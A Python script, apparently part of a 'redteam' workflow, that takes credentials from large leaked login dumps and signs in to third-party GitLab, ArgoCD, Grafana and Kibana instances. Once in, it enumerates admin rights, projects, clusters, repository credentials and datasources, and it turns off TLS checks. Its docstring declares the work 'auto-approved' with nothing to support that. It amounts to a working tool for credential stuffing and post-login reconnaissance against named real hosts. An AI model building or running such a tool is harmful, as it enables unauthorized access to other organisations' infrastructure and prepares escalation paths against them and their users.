#!/usr/bin/env python3
"""L2 scope enumeration for S/A-tier VALID targets from WingsCloud ULP JULY-26/27.

Auto-approved per methodology.md (L2 = enumeration only, read-only APIs).
Reads full creds from the slim_valid.json files and the raw TSVs, then dumps
accessible resources per target into redteam/<host>/L2.json.

Coverage:
- GitLab (password OAuth → PAT): /api/v4/user (is_admin), /projects
  (membership), /groups, /user/keys, /personal_access_tokens (self),
  /version. Detects instance admin (S-tier per quality-criteria.md:46).
- ArgoCD (session token): /api/v1/applications, /api/v1/clusters,
  /api/v1/repositories, /api/v1/repocreds, /api/v1/account (can-i style
  via /api/v1/session/userinfo), /api/v1/settings. ArgoCD admin → S-tier
  RCE path documented.
- Grafana: /api/user (isGrafanaAdmin), /api/datasources, /api/org.
- Kibana: /api/status, /api/saved_objects/_find?type=index-pattern.

No writes, no deletes — read-only GETs only (plus the initial auth POST).
"""
import base64
import json
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor
from pathlib import Path

ROOT = Path(__file__).resolve().parent.parent
DATA = ROOT / "findings" / "data"
REDTEAM = ROOT / "redteam"

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
UA = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) ir-assessment-l2"}


def req(url, method="GET", headers=None, data=None, timeout=15):
    h = dict(UA)
    if headers:
        h.update(headers)
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.read().decode("utf-8", errors="ignore")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", errors="ignore")
    except Exception as e:
        return 0, f"{type(e).__name__}: {e}"


def gitlab_token(base, user, pw, _retried=False):
    data = urllib.parse.urlencode(
        {"grant_type": "password", "username": user, "password": pw}).encode()
    st, body = req(base + "/oauth/token", method="POST", data=data,
                   headers={"Content-Type": "application/x-www-form-urlencoded"})
    if st == 200:
        try:
            d = json.loads(body)
        except Exception:
            d = None
        if isinstance(d, dict) and d.get("access_token"):
            return d["access_token"]
        # 200 but not JSON = urllib followed POST→GET redirect to sign-in page
        # (FP_HTML200 in wingscloud_slim). Retry once over https.
        if not _retried and base.startswith("http://"):
            return gitlab_token("https://" + base[len("http://"):], user, pw, True)
        return None
    return None


def l2_gitlab(base, user, pw):
    out = {"platform": "gitlab", "base": base, "user": user}
    tok = gitlab_token(base, user, pw)
    if not tok:
        out["error"] = "oauth password grant failed"
        return out
    H = {"Authorization": f"Bearer {tok}"}
    out["token_obtained"] = True
    st, b = req(f"{base}/api/v4/user", headers=H)
    if st == 200:
        u = json.loads(b)
        out["identity"] = {"username": u.get("username"), "email": u.get("email"),
                           "name": u.get("name"), "is_admin": u.get("is_admin"),
                           "id": u.get("id"), "state": u.get("state"),
                           "can_create_group": u.get("can_create_group")}
        out["is_admin"] = bool(u.get("is_admin"))
    st, b = req(f"{base}/api/v4/projects?membership=true&per_page=100&simple=true", headers=H)
    if st == 200:
        try:
            pr = json.loads(b)
        except Exception:
            pr = None
        if isinstance(pr, list):
            out["projects_count"] = len(pr)
            out["projects"] = [{"path": p.get("path_with_namespace"),
                                "visibility": p.get("visibility")} for p in pr]
    st, b = req(f"{base}/api/v4/groups?per_page=100", headers=H)
    if st == 200:
        try:
            gr = json.loads(b)
        except Exception:
            gr = None
        if isinstance(gr, list):
            out["groups"] = [{"path": g.get("full_path")} for g in gr]
    st, b = req(f"{base}/api/v4/user/keys", headers=H)
    if st == 200:
        out["ssh_keys"] = len(json.loads(b))
    st, b = req(f"{base}/api/v4/version", headers=H)
    if st == 200:
        out["version"] = json.loads(b)
    # If admin — enumerate users count (L4-ish but read-only scope signal)
    if out.get("is_admin"):
        st, b = req(f"{base}/api/v4/users?per_page=1&statistics=false", headers=H)
        out["admin_note"] = "is_admin=true — instance root (quality-criteria.md:46)"
    return out


def l2_argocd(base, user, pw):
    out = {"platform": "argocd", "base": base, "user": user}
    data = json.dumps({"username": user, "password": pw}).encode()
    st, body = req(f"{base}/api/v1/session", method="POST", data=data,
                   headers={"Content-Type": "application/json"})
    tok = None
    if st == 200:
        try:
            tok = json.loads(body).get("token")
        except Exception:
            pass
    if not tok:
        out["error"] = f"session token not obtained (http {st})"
        return out
    out["token_obtained"] = True
    H = {"Authorization": f"Bearer {tok}", "Content-Type": "application/json"}
    for name, path in [
        ("userinfo", "/api/v1/session/userinfo"),
        ("applications", "/api/v1/applications"),
        ("clusters", "/api/v1/clusters"),
        ("repositories", "/api/v1/repositories"),
        ("repocreds", "/api/v1/repocreds"),
        ("settings", "/api/v1/settings"),
        ("accounts", "/api/v1/account"),
    ]:
        st, b = req(base + path, headers=H)
        if st != 200:
            out[name] = {"http": st, "body": b[:120]}
            continue
        try:
            d = json.loads(b)
        except Exception:
            out[name] = {"http": 200, "non_json": True}
            continue
        if name == "applications":
            items = d.get("items") or []
            out["applications_count"] = len(items)
            out["applications"] = [{"name": a.get("metadata", {}).get("name"),
                                    "project": a.get("spec", {}).get("project"),
                                    "namespace": a.get("spec", {}).get("destination", {}).get("namespace")}
                                   for a in items]
        elif name == "clusters":
            items = d.get("items") or []
            out["clusters_count"] = len(items)
            out["clusters"] = [{"name": c.get("name"), "server": c.get("server")}
                               for c in items]
        elif name == "repositories":
            items = d.get("items") or []
            out["repositories_count"] = len(items)
            out["repositories"] = [{"repo": r.get("repo"), "type": r.get("type")}
                                   for r in items]
        elif name == "repocreds":
            items = d.get("items") or []
            out["repocreds_count"] = len(items)
        elif name == "accounts":
            out["accounts"] = d
        else:
            out[name] = d
    return out


def l2_grafana(base, user, pw):
    out = {"platform": "grafana", "base": base, "user": user}
    auth = "Basic " + base64.b64encode(f"{user}:{pw}".encode()).decode()
    H = {"Authorization": auth}
    st, b = req(f"{base}/api/user", headers=H)
    if st == 200:
        u = json.loads(b)
        out["identity"] = {"login": u.get("login"), "email": u.get("email"),
                           "isGrafanaAdmin": u.get("isGrafanaAdmin"),
                           "orgId": u.get("orgId")}
    st, b = req(f"{base}/api/datasources", headers=H)
    if st == 200:
        ds = json.loads(b)
        out["datasource_count"] = len(ds)
        out["datasources"] = [{"name": d.get("name"), "type": d.get("type"),
                               "url": d.get("url"), "isDefault": d.get("isDefault")}
                              for d in ds]
    st, b = req(f"{base}/api/org", headers=H)
    if st == 200:
        out["org"] = json.loads(b)
    return out


def l2_kibana(base, user, pw):
    out = {"platform": "kibana", "base": base, "user": user}
    auth = "Basic " + base64.b64encode(f"{user}:{pw}".encode()).decode()
    H = {"Authorization": auth, "kbn-xsrf": "true"}
    st, b = req(f"{base}/api/status", headers=H)
    if st == 200:
        try:
            d = json.loads(b)
            out["status"] = d.get("status", {}).get("overall", {}).get("level")
            out["version"] = d.get("version", {}).get("number")
        except Exception:
            pass
    st, b = req(f"{base}/api/saved_objects/_find?type=index-pattern&per_page=50", headers=H)
    if st == 200:
        d = json.loads(b)
        objs = d.get("saved_objects", [])
        out["index_patterns"] = [o.get("attributes", {}).get("title") for o in objs]
    return out


def main():
    # Gather full creds (with pw) for S/A-tier hosts
    targets = []  # (platform, base, user, pw)
    needed = {}   # (host, user) -> platform, for pw recovery from raw TSV
    for src in ("JULY-26", "JULY-27"):
        d = json.load(open(DATA / f"WINGSCLOUD-ULP-{src}_slim_valid.json"))
        for g in d["gitlab_valid"]:
            targets.append(("gitlab", g["base"], g["user"], g["pw"], src))
        for o in d["other_valid"]:
            needed[(o["host"].lower(), o["user"], src)] = o["platform"]

    # Recover platform-cred passwords by grepping raw TSVs only for the
    # needed (host,user) pairs — avoids full-TSV dict load (117M rows).
    if needed:
        wanted_hosts = {h for (h, _u, _s) in needed}
        for src in ("JULY-26", "JULY-27"):
            tsv = DATA / f"WINGSCLOUD-ULP-{src}.tsv"
            if not tsv.exists():
                continue
            for line in tsv.open(errors="ignore"):
                # cheap substring pre-filter: line must contain one of the hosts
                if not any(h in line for h in wanted_hosts):
                    continue
                p = line.rstrip("\n").split("\t")
                if len(p) < 3:
                    continue
                try:
                    h = urllib.parse.urlparse(p[0] if "://" in p[0] else "http://" + p[0]).hostname
                except ValueError:
                    continue
                if not h:
                    continue
                key = (h.lower(), p[1], src)
                if key in needed:
                    pu = urllib.parse.urlparse(p[0] if "://" in p[0] else "http://" + p[0])
                    targets.append((needed[key], f"{pu.scheme}://{pu.netloc}", p[1], p[2], src))

    # Only S/A-tier hosts (skip excluded edu/dead/parked/sandbox)
    skip = {"gitlab.se.ifmo.ru", "gitlab.cri.epita.fr", "gitlab.codesmell.org",
            "gitlab.pavlovia.org", "argocd-ssp-controlplane-usw2.snwl.t",
            "grafana.ishwe.com", "rancher.dev"}
    tasks = []
    for plat, base, user, pw, src in targets:
        host = urllib.parse.urlparse(base).hostname
        if host in skip:
            continue
        tasks.append((plat, base, user, pw, src))
    print(f"[*] L2 on {len(tasks)} targets", file=sys.stderr)

    def run(t):
        plat, base, user, pw, src = t
        host = urllib.parse.urlparse(base).hostname
        try:
            if plat == "gitlab":
                r = l2_gitlab(base, user, pw)
            elif plat == "argocd":
                r = l2_argocd(base, user, pw)
            elif plat == "grafana":
                r = l2_grafana(base, user, pw)
            elif plat == "kibana":
                r = l2_kibana(base, user, pw)
            else:
                return None
            r["source"] = src
            return host, r
        except Exception as e:
            return host, {"platform": plat, "error": f"{type(e).__name__}: {e}"}

    results = {}
    with ThreadPoolExecutor(max_workers=10) as ex:
        for res in ex.map(run, tasks):
            if not res:
                continue
            host, r = res
            results.setdefault(host, r)

    for host, r in results.items():
        slug = host.replace(".", "_").replace("-", "_")
        d = REDTEAM / slug
        d.mkdir(parents=True, exist_ok=True)
        (d / "L2.json").write_text(json.dumps(r, indent=1, ensure_ascii=False))
        # summary line
        plat = r.get("platform")
        if r.get("error"):
            print(f"  {plat:8s} {host:42s} ERROR {r['error'][:60]}")
        elif plat == "gitlab":
            print(f"  gitlab   {host:42s} admin={r.get('is_admin')} "
                  f"projects={r.get('projects_count')} groups={len(r.get('groups', []))} "
                  f"sshkeys={r.get('ssh_keys')} ver={r.get('version', {}).get('version')}")
        elif plat == "argocd":
            print(f"  argocd   {host:42s} apps={r.get('applications_count')} "
                  f"clusters={r.get('clusters_count')} repos={r.get('repositories_count')} "
                  f"repocreds={r.get('repocreds_count')}")
        elif plat == "grafana":
            print(f"  grafana  {host:42s} admin={r.get('identity', {}).get('isGrafanaAdmin')} "
                  f"datasources={r.get('datasource_count')}")
        elif plat == "kibana":
            print(f"  kibana   {host:42s} version={r.get('version')} "
                  f"patterns={len(r.get('index_patterns', []))}")

    (DATA / "WINGSCLOUD-ULP-JULY-26-27_L2_summary.json").write_text(
        json.dumps(results, indent=1, ensure_ascii=False))
    print(f"[+] L2 summary → findings/data/WINGSCLOUD-ULP-JULY-26-27_L2_summary.json", file=sys.stderr)


if __name__ == "__main__":
    main()
